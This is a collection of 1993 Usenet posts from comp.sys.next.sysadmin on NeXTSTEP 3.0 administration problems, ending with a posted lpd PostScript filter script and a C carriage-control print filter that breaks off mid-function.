Installing the software from the Tools floppy is no problem.
After the CD-ROM shows up in the Workspace Manager, I access
it. I then double click on the 3.0upgrade.app (sp?). I choose
Update, and then Edit Plan since I want to keep some things the
way they were (my uucp config files for example). While updating
it says "Writing the control file to disk". The gauge starts
moving to the right. After a while one of two things happens:
the upgrade.app terminates in the middle of writing the control file,
or the entire machine locks up, and I have to do a reboot from
the monitor.
Has anyone seen this happen before. My apologies if this is in a faq
somewhere, but I haven't been able to read the news lately. If anyone
can give me any information, I will be forever indebted. Please email
at
jdyer.wbst129@xerox.com
Thanks in advance.
John Dyer
Newsgroups: comp.sys.next.sysadmin
From: lemson@ux1.cso.uiuc.edu (David Lemson)
Subject: Re: NeXT networking advice wanted...
Message-ID: <C0vHGB.7CH@ux1.cso.uiuc.edu>
Organization: University of Illinois at Urbana
References: <1993Jan14.200048.11755@kakwa.ucs.ualberta.ca> <1993Jan14.212326.4472@julian.uwo.ca> <104933@netnews.upenn.edu>
Distribution: na
Date: Fri, 15 Jan 1993 01:57:32 GMT
shuque@spectre.sas.upenn.edu (Shumon Huque) writes:
>In article <1993Jan14.212326.4472@julian.uwo.ca> zaphod@ctrg.rri.uwo.ca writes:
>>>Don't do this. I don't know if they got rid of it in 3.0, but 2.x
>>>machines won't boot with /NextLibrary on a non-local disk.
>>>
>>sorry, that's just plain wrong. all my 2.1 machines NFS mount the same
>>/NextLibrary
>>
>I have mounted /NextLibrary from a remote machine too, and it works fine
>most of the time. The only problem is when the NFS server goes down, and
>you reboot the client machine, the login window does not appear as it
>cannot find /NextLibrary/Fonts. Is it recommended practice to mount
>/NextLibrary?
I do. But I make sure that /NextLibrary/Keyboards and
/NextLibrary/Fonts are truly existant on the local hard disk. If
you get rid of /NextLibrary/References and
/NextLibrary/Documentation, that eliminates most of the disk space
taken up, and you can still boot locally if you need to rebuild.
BTW, mounting /NextLibrary will likely be a fairly large hit on your
servers since things like Fonts and Keyboards are consulted often.
(However, I have one server serving >50 machines with the entire
extended OS and it's a testament to the robustness of NeXT's nfs
code... If you're interested in what a 32 MB cube can do, mail me
and I'll make a list of what one server is doing... your eyes would
pop out of your head... low budgets create innovative solutions :-)
--
David Lemson (217) 244-1205
University of Illinois NeXT Campus Consultant / CCSO NeXT Lab System Admin
Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson
NeXTMail & MIME accepted BITNET : LEMSON@UIUCVMD
From: wade@hobbes.ucsd.edu (Wade Blomgren)
Newsgroups: comp.sys.next.sysadmin
Subject: How to change language (loginwindow)
Date: 15 Jan 1993 01:45:29 GMT
Organization: University of California, San Diego
Message-ID: <1j54vpINN53i@network.ucsd.edu>
A user got to one of our turbo slabs that had just been upgraded to 3.0
before we did, and mischievously set the language and keyboard to
French instead of the desired English, in the configuration application
that comes up on the first reboot after a 3.0 install.
I managed to find the right keys on the keyboard to feed in the root
password and get in, and I changed the root prefs to USA keyboard and
English, and now it seems if the average user logs in s/he gets an
English environment, but the loginwindow is still in French. I
rdist'd /.NeXT and /usr/lib/NextStep from a machine configured for
English and rebooted but the login window is still in French.
No other likely files presented themselves in an rdist comparison
of the tow machines.
Suggestions on how to force the language back to English would be
most welcome.
Wade Blomgren
wade@hobbes.ucsd.edu
Newsgroups: comp.sys.next.sysadmin
From: serge@dadofsam.Princeton.EDU
Subject: How do we get a NeXT to imbed fonts in print jobs?
Message-ID: <1993Jan14.212518.5362@Princeton.EDU>
Originator: news@nimaster
Keywords: fonts print printers postscript
Sender: news@Princeton.EDU (USENET News System)
Organization: Princeton University
Date: Thu, 14 Jan 1993 21:25:18 GMT
How do we get a NeXT to imbed fonts, where needed, in the postscript which it
sends to a print server? Our NeXTs operate in a heterogeneous environment; our
current print server happens to be a Sun. As I understand it, under NS 3.0, a
NeXT does not imbed fonts in it's postscript output ... instead, it imbeds
comments which document the needed fonts. If the print server happens to be a
NeXT running NS 3.0, then these comments are processed by an lpd filter, which
causes the right thing to happen (the printer's .ppd file is read, and any
needed fonts are included with the postscript sent to the printer). If the
print server is not a NeXt, too bad ... instead of Dragonwick, you get
Courier! Our NeXT users are understandably less than satisfied with this
situation, as are we. We know about the work-around of "saving" the print
image to a file ("save" gives you the option of saving with fonts), but we'd
like to come up with something a little more elegant. NeXT has hinted at a
solution in the next release ... does anyone have a current solution?
Serge J. Goldstein
From: rsalz@rodan.UU.NET (Rich Salz)
Newsgroups: comp.sys.next.sysadmin,news.software.nntp,news.software.nntp
Subject: INN1.3 will be released soon
Date: 14 Jan 1993 21:52:22 -0500
Organization: UUNET Technologies Inc, Falls Church, VA
Distribution: inet
Message-ID: <1j58t6INN271@rodan.UU.NET>
References: <1j4qe6INNbq@steffi.demon.co.uk>
{I removed Distribution: world -- that is a bogus distribution.}
In <1j4qe6INNbq@steffi.demon.co.uk> steffi.demon.co.uk!root (Operator) writes:
>Has anybody had problems using INN on a NeXT. In particular problems with
>nntpget.
nntpget is broken; it is fixed in INN1.3.
I hope to release 1.3 on Wednesday.
I would have liked to release it sooner, but a series of personal
events and work commitments reduced the time I had available to
work on it.
/r$
From: mark@cyantic.com (Mark T. Dornfeld)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: rc.local has me confused
Message-ID: <1993Jan14.231935.11050@cyantic.com>
Date: 14 Jan 93 23:19:35 GMT
References: <1993Jan14.053105.235@znext.cts.com>
Organization: CYANTIC Systems
In article <1993Jan14.053105.235@znext.cts.com> zeke@znext.cts.com writes:
> I have a few things in my rc.local that I'd like to run but cant seem to make
>happen. The first is just a sound,
>
># If all is well up to this point play the OK sound
>if [ -f /LocalLibrary/Sounds/OK.snd ]; then
> /usr/bin/sndplay /LocalLibrary/Sounds/OK.snd
> else (echo 'sound not found') >/dev/console
>fi
>
> This used to work in 2.1, but it's a no go on 3.0. It wont even print the
>error message. The second is a bit trickier. I have a program ( argus ) that
>tells me when people log on and off my computer ( a bit more effeciently that
>the tcsh method, which I also use ). I'd like to start it at boot time as root
>and have it output to the console. I have tried variations of the following to
>no avail,
>
># Run argus as root
>if [ -f /usr/local/bin/argus ]; then
> su root '/usr/local/bin/argus >/dev/console 2>&1' && \
> (echo 'argus') >/dev/console
>fi
>
I lost the functionality of rc.local when I upgraded to 3.0 and haven't had
the time to find out what went wrong. Please post responses to this group,
since this may be a common problem that many people don't know about.
--
Mark T. Dornfeld Voice: (416) 234-9048
CYANTIC Systems Facsimile: (416) 234-0477
101 Subway Crescent Suite 2103 Email: mark@cyantic.com
Newsgroups: comp.sys.next.sysadmin
From: chwe@chwe1.spc.uchicago.edu (Michael Suk-Young Chwe)
Subject: Help! Installing 3.0 on external HD--Solved!
Message-ID: <1993Jan14.180055.16478@midway.uchicago.edu>
Sender: news@uchinews.uchicago.edu (News System)
Organization: University of Chicago Computing Organizations
Date: Thu, 14 Jan 1993 18:00:55 GMT
Dear comp.sys.next 'ers,
Thank you for the responses you sent me when I put up my original post about
a week ago. My problem was how
to get my external Fujitsu 1G (M2266SA) drive to work as a bootup drive
under 3.0. I finally found out what to do by looking at the FAQs, which
referred me to a file fujitsu.recipe, written by Izumi Ohzawa and located
at the public FTP site sonata.cc.purdue.edu in /pub/next/docs. This
note was written for systems 1.0 and 2.0/2.1 but its advice was valuable
for me--all I had to do was to remove two jumpers (as detailed in
fujitsu.recipe). Now my Fujitsu external HD works great as a boot
device and I am ready to face new 3.0 problems :) Although I don't
understand why my Fujitsu worked as a boot drive under 2.1 (this is
how I had used it before getting 3.0) without the right jumpers
removed, it seems to work now. I would like to thank again
everyone who helped me and especially Mr. Ohzawa. I guess it also
shows that looking at the FAQs never hurts and sometimes old
solutions are the best ones.
Sincerely,
Michael Chwe
Economics Department
U of Chicago
From: Michael.B..Johnson@f236.n104.z1.FIDONET.ORG (Michael B. Johnson)
Newsgroups: comp.sys.next.sysadmin
Subject: CDPLAYER.APP PROBLEMS
Message-ID: <141937.2B562455@paranet.FIDONET.ORG>
Date: 13 Jan 93 19:36:00 GMT
Sender: ufgate@paranet.FIDONET.ORG (newsout1.26)
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From: sfch@dmu.ac.uk (Simon Harwood)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: no email confirmation
Message-ID: <1993Jan15.100503.9452@dmu.ac.uk>
Date: 15 Jan 93 10:05:03 GMT
References: <PJg=wy+@engin.umich.edu>
Organization: De Montfort University, Leicester, UK.
In article <PJg=wy+@engin.umich.edu> dcheslow@impact.flint.umich.edu (David A. Cheslow) writes:
>Having two (possibly related) problems with NeXTMail.
>
>1) No receipt is ever received (I request a read receipt, the addressee
>reads the message, but I never get a receipt).
>
The way that NeXTMail works the Read Recipt is by adding an
extention of .RR to the message ID. It works like this...
Message Id: <host.somedomain@number.number>
or
Message Id: <number.number@host.somedomain>
Will NOT give a Read Recipt.
Message Id: <host.somedomain@number.number.RR>
or
Message Id: <number.number.RR@host.somedomain>
WILL give a Read Recipt, but ONLY when read using NeXTMail.
Simon..
--
Simon Harwood, Research Technician, Phone: +44 (0) 533 551551 x7915
De Montfort University, The Gateway, Fax : +44 (0) 533 577574
LEICESTER, LE1 9BH UK.
E-mail: sfch@uk.ac.dmu (JANET), sfch@dmu.ac.uk (Internet)
From: bostrov@flop.ENGR.ORST.EDU (Vareck Bostrom)
Newsgroups: comp.sys.next.sysadmin
Subject: Always make backups
Date: 15 Jan 1993 03:08:38 -0800
Organization: College of Engineering, Oregon State University
Distribution: usa
Message-ID: <1j65vmINN5ns@flop.ENGR.ORST.EDU>
Last night, LATE last night, I decided it was time to upgrade my
Nextstep 2.1 Cube to 3.0, something I had been putting off for a long
time. Well, I've got an old segate 660MB disk in my cube, which was
partitioned into two 330-ish MB sections. Well, I never liked that
(always ran out o swap space) so I thought I'd use the upgrade as
an excuse to repartition my disk to one partition.
FIRST, I thought, I'll save everything important...and of most importance,
THE MOST IMPORTANT DIRECTORY TREE I HAD:
~bostrov/Work
(yes, even more important than ~bostrov/images/nudewomen) I tarred up
the directory and moved it to my NSTC which reciently moved into my
life.. thinking myself safe from any boogie monster the 3.0 CD ROM disk
might have on it, I proceded with the upgrade -- actually a reformat
and rebuild of the disk, in my case.
Well, I finished that, installed all of the software packages that were on
the 3.0 Disk (meanwhile reading most of Mac Beth and Henery V -- I suspect
that the reason NeXT includes the Literature section is to keep NeXT owners
occupied while the Installer churns happily away in it's own little world)
Finally, the 3.0 Install was complete! I was happy. I set up netinfo
between my two NeXTs and reinstalled my account - and now it was time to
restore my software. First, I moved all the tar files back to the cube, in
my home directory and then i started typing:
tar -xvf bostrov.src.tar ; rm bostrov.src.tar
tar -xvf bostrov.etc.tar ; rm bostrov.etc.tar
and so on, and everything worked fine until I got to the second to last
directory, the most important one, at which I typed:
rm bostrov.Work.tar ; tar -xvf bostrov.Work.tar
About two milliseconds after my finger touched the return key had i realized
what I had done. Without a backup. 40 Megabytes of work, programming,
two years of school homework assignments, and so on, down the drain.
Sigh. I buried my head in my hands and wept, taking just enough time to
clean up the tar files I hadn't removed yet:
rm *tar
Two milliseconds later i realized I had not untarred my images yet...
Sigh.
So, I have this disk, is it possible to un-rm a file?
- bostrov
bostrov@engr.orst.edu
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From: zaphod@ctrg.rri.uwo.ca (Lance R. Bailey)
Subject: Re: no email confirmation
Organization: University of Western Ontario
Distribution: na
Date: Fri, 15 Jan 1993 12:02:00 GMT
Message-ID: <1993Jan15.120200.1982@julian.uwo.ca>
References: <1993Jan15.100503.9452@dmu.ac.uk>
Sender: news@julian.uwo.ca (USENET News System)
In article <1993Jan15.100503.9452@dmu.ac.uk> sfch@dmu.ac.uk (Simon Harwood)
writes:
>In article <PJg=wy+@engin.umich.edu> dcheslow@impact.flint.umich.edu (David A.
Cheslow) writes:
> The way that NeXTMail works the Read Recipt is by adding an
>extention of .RR to the message ID. It works like this...
>Message Id: <host.somedomain@number.number>
>or
>Message Id: <number.number@host.somedomain>
> Will NOT give a Read Recipt.
>
>Message Id: <host.somedomain@number.number.RR>
>or
>Message Id: <number.number.RR@host.somedomain>
that is not my experience. here are the headers from two messages, one with
ReadRecipt checked and one without:
without a read receipt requested:
From lrb@ctrg.rri.uwo.ca Fri Jan 15 06:41 EST 1993
From: "Lance R. Bailey" <lrb@ctrg.rri.uwo.ca>
Message-Id: <9301151141.AA01284@cupoftea.ctrg.rri.uwo.ca>
Date: Fri, 15 Jan 93 06:41:35 GMT-0500
Received: by NeXT Mailer (1.63)
To: lrb@ctrg.rri.uwo.ca
Subject: no reciept
Status: O
with:
From lrb@ctrg.rri.uwo.ca Fri Jan 15 06:41 EST 1993
From: "Lance R. Bailey" <lrb@ctrg.rri.uwo.ca>
Message-Id: <9301151141.AA01283@cupoftea.ctrg.rri.uwo.ca>
Date: Fri, 15 Jan 93 06:41:36 GMT-0500
Received: by NeXT Mailer (1.63.RR)
To: lrb@ctrg.rri.uwo.ca
Subject: receipt
Status: O
notice that the Message-Id: are the same, save for the PID.
without: Message-Id: <9301151141.AA01284@cupoftea.ctrg.rri.uwo.ca>
with : Message-Id: <9301151141.AA01283@cupoftea.ctrg.rri.uwo.ca>
in fact the RR is in the Received: line:
without: Received: by NeXT Mailer (1.63)
with: Received: by NeXT Mailer (1.63.RR)
--
Lance R. Bailey System/Network Manager Robarts Research Institute
NeXT/email: zaphod@ctrg.rri.uwo.ca box: Clinical Trials Resources Group
fax: +1 519 663 3789 P.O. Box 5015, 100 Perth Dr.
vox: +1 519 663 3787 x4108 London, Canada N6A 5K8
I took a physics course that was so hard I couldn't find the classroom--Connely
Newsgroups: comp.sys.next.sysadmin
From: mib@bio128.uni-bielefeld.de (Michael Bruewer)
Subject: Re: symbolic links to different local hard disk?
Sender: news@hermes.hrz.uni-bielefeld.de (News Administrator)
Message-ID: <C0wJK0.3u3@hermes.hrz.uni-bielefeld.de>
Date: Fri, 15 Jan 1993 15:40:48 GMT
References: <1j20phINNap7@stimpy.css.itd.umich.edu>
Organization: Universitaet Bielefeld, Rechenzentrum
In article <1j20phINNap7@stimpy.css.itd.umich.edu> danno@css.itd.umich.edu
(Daniel T. Pritts) writes:
> In article <1993Jan9.021146.6886@pellns.alleg.edu> sunthej@alleg.edu
> (Jake Blues) writes:
> >
>
> > Q- On the network we have several NFS servers and over two hundred
> > cubes/stations, each with a local hard-drive. Due to storage
> > considerations, there are certain applications that are kept on
> certain
> > local drives that are not kept on others (ie, mathematica is not
> kept on
> > every computer).
> You could only do this if you exported (via NFS) the disks of the
> machines you wanted to act as the servers.
>
> Why not just put Mathematica on your NFS server? Oh, I suppose MMa's
> licensing scheme doesn't like that. Perhaps Wolfram has a
> NFS-Mountable version of MMa? Knowing them probably not but you
> never know.
> --
> dan pritts consultant/system administrator
We have MMa 2.02 installed on a NFS server and it works fine.
_________________________________________________________________
Michael Bruewer
e-mail: mib@bio128.uni-bielefeld.de
Universitaet Bielefeld
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin
From: pmelo@pombo.inescc.pt (Paulo Melo)
Subject: Archive Viper 2525 25462 and NextStation Turbo
Message-ID: <1993Jan15.175254.1612@pombo.inescc.pt>
Followup-To: poster
Summary: looking for help with a tape drive
Keywords: help, Tape drive, NeXTSTEP 3.0
Organization: INESC - Nucleo de Coimbra
Date: Fri, 15 Jan 1993 17:52:54 GMT
Hi. I recently bought a NeXTStation Turbo, and it came with NeXTStep
3.0. As I am trying to make it our mail and news server (for a small lan),
I also bought (not from Next) an external disk and a tape drive Archive
Viper 2525. All is well with the disk (automatic disk
initalization works very well), but I cannot seem to make the tape
work, although the control commands seem to work (i.e, "mt rew",
"mt fsf", all work, but "tar", "dd" and the likes don't).
I read in NextAnswers (QA762) it could be something to do with the use of
variable vs. fixed block sizes, but "dd" with fixed blocksize or
using the ioctl call MTIOCFIXBLK didn't work (other error, but this
time sense key 0, instead of 5). So, I am asking here if anyone
has experienced the same kind of errors I have, and if there is a
workaround... The problem is not in the tape, as it works well with
a DECStation we have here.
Please reply by mail, I will summarize in comp.sys.next.hardware
the answers I get. Thanks in advance.
Paulo Melo
--
Paulo Melo | "once again the sound of crying
pmelo@inescc.pt | is #1 across the earth..." Prefab Sprout
Newsgroups: comp.sys.next.sysadmin
From: kpl@elisir.helsinki.fi (Kai Lassfolk)
Subject: Reverse page ordering with NeXTprinter & lpd
Message-ID: <1993Jan15.165924.2037@klaava.Helsinki.FI>
Sender: news@klaava.Helsinki.FI (Uutis Ankka)
Organization: University of Helsinki
Date: Fri, 15 Jan 1993 16:59:24 GMT
How can I create an lrp queue that prints pages in "reverse" order
using a NeXTprinter? I mean that I want page 1 to come out first,
page 2 second etc. which is the opposite from the default operation.
I need a separate lpr queue for this, because I want reverse page
ordering only when printing from a remote lpr client.
I want Local_Printer to print pages in default ordering.
--
------------------------------------------------------------------
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|| (NeXTmail accepted)
Department of Musicology ||
P.O. Box 35 (Vironkatu 1) || Telephone: +358-0-1917871 (office)
00014 University of Helsinki || +358-0-4554420 (home)
Newsgroups: comp.sys.next.sysadmin
From: thorson@typhoon.atmos.colostate.edu (Bill Thorson)
Subject: Possible problems; need help
Sender: news@yuma.ACNS.ColoState.EDU (News Account)
Message-ID: <Jan15.182950.91436@yuma.ACNS.ColoState.EDU>
Date: Fri, 15 Jan 1993 18:29:50 GMT
Organization: Colorado State University -- Atmos Sci
I have a NeXTStation with only 8 megs that I upgraded to 3.0 and am
now experiencing problems. I realize that this machine might be a little
slow but since it's only used for reading mail and some light typing I
thought that 8 megs and 3.0 might not be too bad.
What happens is that when a app get's launched the machine sometimes
sits there for up to 5 minutes doing nothing before the window comes up.
The pointer is the little spiny disk and you can't use the machine at all.
This even happens sometimes when the Workspace app is being launched on
bootup. I need advice!
Well, I went looking around and discovered a possible problem in
/usr/adm/messages. It looks like disk problems. This message is only
in there every couple days or so. I also noticed that there is an
error from the automounter. Maybe it's slowing down the machine trying
to do something stupid. Here are the errors when I was playing with
it yesterday:
Jan 14 16:26:18 climo reboot: Reboot complete
Jan 14 16:26:34 climo mach: audio kernel server initialized
Jan 14 16:26:47 climo syslog: Workspace logged in
Jan 14 16:28:06 climo mach: sd0 (1,0): ERROR op:0x28 sd_state:4 scsi status:0x0
Jan 14 16:28:06 climo mach: sd0 (1,0): sense key:0x5 additional sense code:0x24Jan 14 16:28:06 climo mach: SCSI Block in error = 0 (front porch)
Jan 14 16:29:11 climo mach: sd0 (1,0): scsi_timer: timeout op:0x28 sd_state:0 scsi status:0x0
...
Jan 14 16:36:06 climo reboot: Reboot complete
Jan 14 16:36:23 climo mach: audio kernel server initialized
Jan 14 16:36:50 climo syslog: Workspace logged in
Jan 14 16:37:07 climo mach: sd0 (1,0): ERROR op:0x28 sd_state:4 scsi status:0x0
Jan 14 16:37:07 climo mach: sd0 (1,0): sense key:0x5 additional sense code:0x24Jan 14 16:37:07 climo mach: SCSI Block in error = 0 (front porch)
Jan 14 16:38:11 climo mach: NFS server (autonfsmount[84]) not responding still trying
Jan 14 16:38:11 climo mach: sd0 (1,0): scsi_timer: timeout op:0x28 sd_state:0 scsi status:0x0
Jan 14 16:38:11 climo mach: NFS server (autonfsmount[84]) ok
Jan 14 16:39:11 climo -[145]: loginwindow: Workspace exited ts 0 cd 0 rc 0 sv 0 ss 0.
Thanks,
--
#!/bin/sh
#-----------------------------------------------------------------------#
echo Bill Thorson thorson@typhoon.atmos.colostate.edu
echo Dept of Atmospheric Science +1 303 491-8339
echo Colorado State University
echo Ft. Collins, CO 80523
#-----------------------------------------------------------------------#
From: isbell@cats.ucsc.edu (Art Isbell)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: rc.local has me confused
Message-ID: <1j705mINNm2i@darkstar.UCSC.EDU>
Date: 15 Jan 93 18:35:34 GMT
References: <1993Jan14.053105.235@znext.cts.com> <1993Jan14.231935.11050@cyantic.com>
Organization: Cubic Solutions - NeXT software development and consulting
I run 1 executable and 1 Bourne shell script from rc.local that I also ran in
2.1. I've added another executable since. The only problem I had with
rc.local after upgrading was that the executable, /usr/etc/nppower, required a
few more seconds of "sleep" before executing in order to turn off the printer.
My Bourne shell script has continued to work contrary to the posted contention
that only C shell scripts work from rc.local. I don't assume a very extensive
PATH or much else from the environment when rc.local runs, so this might be why
I haven't had the problems others have reported.
Another reason that I have had almost no upgrade-related problems may be
because I have tried very hard to maintain the default set-up that NeXT
provides. I rarely change permissions (I'm run a standalone, so I don't have
network-related security problems), I leave the file structure as NeXT
delivered, I don't add any files to directories that NeXT will upgrade unless
I absolutely must do so, etc. So my upgrade process probably went better than
for systems that have been extensively modified (just imagine how difficult it
must be to write an upgrade application that can deal with any sort of
modification imaginable).
I don't come with a lot of past Unix sysadmin experience, so I don't feel that
I have to change what NeXT has delivered just because some other vendor does it
a different way (which might be better, but in my case, ignorance is bliss :-)
I think this has made living with my Cube at home a very trouble-free and
enjoyable experience.
--
Art Isbell Cubic Solutions
NeXT Registered Developer #745 NeXT software development and consulting
NeXTmail: isbell@cats.UCSC.EDU Voice: (408)335-1154
USmail: 95018-9442 Fax: (408)335-2515
From: eboltz@jhunix.hcf.jhu.edu (Eric Scott Boltz)
Newsgroups: comp.sys.next.sysadmin
Subject: rdump in multiuser mode ok?
Date: 15 Jan 1993 16:08:06 -0500
Organization: Homewood Academic Computing, Johns Hopkins University, Baltimore, Md, USA
Distribution: world
Message-ID: <1j793mINNjh@jhunix.hcf.jhu.edu>
Question: Is it 'safe' to run rdump in multiuser mode.
Why?: My NSTC can't find machines in single user mode.
just curious since I'm already doing it...
Eric
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From: pom@anke.imsd.uni-mainz.DE (Prof. Dr. Klaus Pommerening)
Subject: SUMMARY: Postscript filter
Message-ID: <F2S0S2J@minnie.zdv.uni-mainz.de>
Sender: usenet@minnie.zdv.uni-mainz.de (USENET News System)
Organization: Johannes Gutenberg Universitaet Mainz
Date: Fri, 15 Jan 1993 14:38:21 GMT
Some time ago a asked for programs that do what some options
of the lpr command are supposed to do.
Here is the solution for the options -d and -f of lpr.
Thanks to
burns@cc.gatech.edu (James E. Burns)
amr@mpl.ucsd.edu (Tony Richardson)
N Tomczak-Jaegermann <ntomczak@vega.math.ualberta.ca>
Jim LeBay <lebay@mercury.cl.msu.edu>
----- /usr/lib/NextPrinter/comm -------------------------------
#!/bin/sh
# 4.2BSD line printer spooler interface for PostScript/TranScript printer
# this is the printcap/lpd-invoked top level filter program for ALL file types
# Copyright (c) 1985,1987 Adobe Systems Incorporated. All Rights Reserved.
# GOVERNMENT END USERS: See Notice file in TranScript library directory
# -- probably /usr/lib/ps/Notice
# RCSID: $Header: psint.proto,v 2.2 87/11/17 16:40:51 byron Rel $
PATH=/bin:/usr/bin:/usr/ucb
export PATH
# set up initial undefined variable values
width= length= indent= login= host= afile=
prog=$0
cwd=`pwd`
pname=`basename $cwd`
# define the default printer-specific and TranScript
# configuration options, these may be overridden by
# real printer-specific options in the .options file
PSLIBDIR=//usr/lib/transcript
REVERSE=//usr/lib/transcript/psrv
VERBOSELOG=1
BANNERFIRST=0
BANNERLAST=0
BANNERPRO=$PSLIBDIR/banner.pro
PSTEXT=$PSLIBDIR/pstext
PSCOMM=/usr/lib/NextPrinter/npcomm
export PSLIBDIR VERBOSELOG BANNERFIRST BANNERLAST BANNERPRO REVERSE PSTEXT
# load the values from the .options file if present
test -r ./.options && . ./.options
# parse the command line arguments, most get ignored
# the -hhost vs. -h host is due to one report of someone doing it wrong.
# you could add or filter out non-standard options here (-p and -f)
while test $# != 0
do case "$1" in
-c) ;;
-w*) width=$1 ;;
-l*) length=$1 ;;
-i*) indent=$1 ;;
-x*) width=$1 ;;
-y*) length=$1 ;;
-n) user=$2 ; shift ;;
-n*) user=`expr $1 : '-.\(.*\)'` ;;
-h) host=$2 ; shift ;;
-h*) host=`expr $1 : '-.\(.*\)'` ;;
-p) comm_printer=$2 ; shift ;;
-p*) comm_printer=`expr $1 : '-.\(.*\)'` ;;
-*) ;;
*) afile=$1 ;;
esac
shift
done
PATH=$PSLIBDIR:$PATH
export PATH
# now exec the format-specific filter, based on $prog
# if - communications filter [default]
# of - banner filter [execed directly]
# nf - ditroff, tf - troff (CAT), gf - plot
# df - TeX DVI
# vf - raster, cf - cifplot, rf - fortran
prog=`basename $prog`
comm="$PSCOMM -p $comm_printer -n $user -h $host"
case $prog in
psof) exec psbanner $pname ; exit 0 ;;
psnf) psdit >/tmp/.psdit.out ; $comm -f /tmp/.psdit.out ; rm
/tmp/.psdit.out ;;
pstf) pscat >/tmp/.pscat.out ; $comm -f /tmp/.pscat.out ; rm
/tmp/.pscat.out ;;
psgf) psplot >/tmp/.psplot.out ; $comm -f /tmp/.pscat.out ; rm
/tmp/.psplot.out ;;
psdf) dvips -f -D400 -r >/tmp/.dvips.out ; $comm -f /tmp/.dvips.out ;
rm /tmp/.dvips.out ;;
psrf) lprf >/tmp/.lprf.out ; $comm -f /tmp/.lprf.out ; rm
/tmp/.lprf.out ;;
psvf|pscf) psbad $prog $pname $user $host >/tmp/.psbad.out ;
$comm -f /tmp/.psbad.out ;
rm /tmp/.psbad.out ;;
esac
-------- end ------------------------------------------------------
-------- lprf.c -- compile and install in /usr/local/bin ----------
-------- I got it from Jim LeBay <lebay@mercury.cl.msu.edu> -------
#ifndef lint
static char sccsid[] = "%W% (%Y%) %G%";
#endif
/*
* lprf.c -- "lpd" filter to process FORTRAN-style carriage controls.
*
* This program is run by the Unix print daemon, lpd, for
* print files that have carriage control characters in column 1
* of each line.
* The output of this filter is a copy of the input lines, with
* column 1 stripped off and carriage returns, line feeds and
* form feeds inserted as necessary to emulate what an old-fashioned
* line printer would have done with the carriage control characters.
*
* Calling sequence:
*
* lprf <instream >outstream [acctfile] [-n name] [-h host]
* [-wwidth] [-llength] [-c]
*
* where:
*
* acctfile is the name of a file to which an accounting record
* should be appended.
* name is the username to bill to.
* host is the host machine name of the billed user.
* width is the maximum number of characters per line, not
* counting the carriage control character.
* length is the number of lines per page (total form).
* -c means control characters should be printed.
*
* This routine is normally called by "lpd". The parameter values
* are obtained from the "printcap" entry for the printer in question.
*
* Code credits (prior to official installation at MSU):
*
* Original code -- author unknown.
* Modified slightly for efficiency purposes by "kls", site unknown.
* MSU Carriage controls & MSU accounting by Chris Johnson.
* Documentation, clean-up, and miscellaneous changes by Mark Riordan.
*/
#include <stdio.h>
#include <signal.h>
#include <time.h>
#define MAXWIDTH 200 /* maximum allowable line length */
#define ESC 0x1B /* ASCII ESC */
#define DEFWIDTH 80 /* default line length */
#define DEFLENGTH 66 /* default page length */
#define FALSE 0
#define TRUE 1
char buf[MAXWIDTH]; /* buffer in which line to be printed is stored */
int lineno; /* line number within current page */
int width = DEFWIDTH; /* maximum line length for this job */
int length = DEFLENGTH; /* page length in lines*/
int npages = 0; /* total number of pages printed */
long int nlines = -1; /* total number of lines printed */
int formfeed = TRUE; /* =TRUE-->last carrage control was a form feed */
int eject = 1; /* =TRUE means autopage eject is on */
int literal; /* =TRUE means print control characters */
char *name; /* user's login name */
char *host; /* user's machine name */
char *acctfile; /* accounting information file */
main(argc, argv)
int argc;
char *argv[];
{
register FILE *p = stdin, *o = stdout;
register int i, col;
register char *cp;
int done, linedone;
char ch, *limit;
/*
* Crack the control statement.
*/
while (--argc) {
if (*(cp = *++argv) == '-') {
switch (cp[1]) {
case 'n':
argc--;
name = *++argv;
break;
case 'h':
argc--;
host = *++argv;
break;
case 'w':
if ((i = atoi(&cp[2])) > 0 && i <= MAXWIDTH)
width = i;
break;
case 'l':
length = atoi(&cp[2]);
break;
case 'c': /* Print control chars */
literal++;
break;
}
} else
acctfile = cp;
}
/* Add one to width, to account for carriage control character. */
width++;
done = 0;
while (!done) {
/*
* Process one line's worth of characters.
*/
for(col=0;(ch = getchar()) != '\n' && ch != EOF;){
switch(ch) {
/*
* The sequence EM SOH has a special meaning in
* lpd filters: it means that the filter
should
* stop (in the sense of suspend, not kill)
itself.
* "lpd" will then use some other filter to
process
* characters, then restart this filter.
*/
case '\031':
if ((ch = getchar()) == '\1') {
fflush(stdout);
kill(getpid(), SIGSTOP);
break;
} else {
/* EM was not followed by SOH, so
process it. */
ungetc(ch, stdin);
ch = '\031';
}
default:
/*
* Add the character to the print line buffer
unless
* we overflowed the buffer or it's a control
character.
* Note: we have to send ESC through to
support the
* Xerox 2700 properly.
*/
if (col >= width || !literal && ch < ' ' && ch
!= ESC) {
col++;
break;
}
buf[col++] = ch;
break;
}
}
buf[col++] = '\0';
/* print out lines */
crctrl(buf[0]);
++nlines;
if (buf[0]) fputs(&buf[1],stdout);
if (ch == EOF) {
++npages;
putchar('\f');
done = 1;
}
}
/*
* We have reached the end of the print file, so it's time
* to do accounting. If the accounting file was not passed
* to us or we cannot access it, the guy gets his print for free.
*/
if (name && acctfile && access(acctfile, 02) >= 0 &&
freopen(acctfile, "a", stdout) != NULL) {
struct tm *curtim;
long time(),thetime;
char t[40];
thetime = time(0);
curtim = localtime(&thetime);
sprintf(t,"%d-%02d-%02d %02d:%02d:%02d",curtim->tm_year+1900,
curtim->tm_mon+1,curtim->tm_mday,curtim->tm_hour,
curtim->tm_min,curtim->tm_sec);
printf("%s %s %s %s PG:%06d LN:%06ld\n",t,name,host,acctfile,
npages,nlines);
}
exit(0);
}
/* Function chctrl ------------------------------------------------
*
* Entry: ch is
* lineno
* npages
*
* Exit: ....
*
* Calls: No non-standard routines.
*
* Method:
*/
crctrl(ch)
char ch;
{
int skipcnt;
int channel;
switch(ch) {
case '1':
lineno =0;
++npages;
skipcnt= 2;
if (!formfeed) {
putchar('\f');
formfeed = 1;
}
channel=0;
break;
case '2':
channel = length/2;
skipcnt = -1;
break;
case '3':
channel = length/3;
skipcnt = -1;
break;
case '4':
channel = length/4;
skipcnt = -1;
break;
case '5':
lineno = 0;
++npages;
if (!formfeed) {
putchar('\f');
formfeed = 1;
}
channel=0;
skipcnt = 0;
break;
case '6':
channel = length/6;
skipcnt = -1;
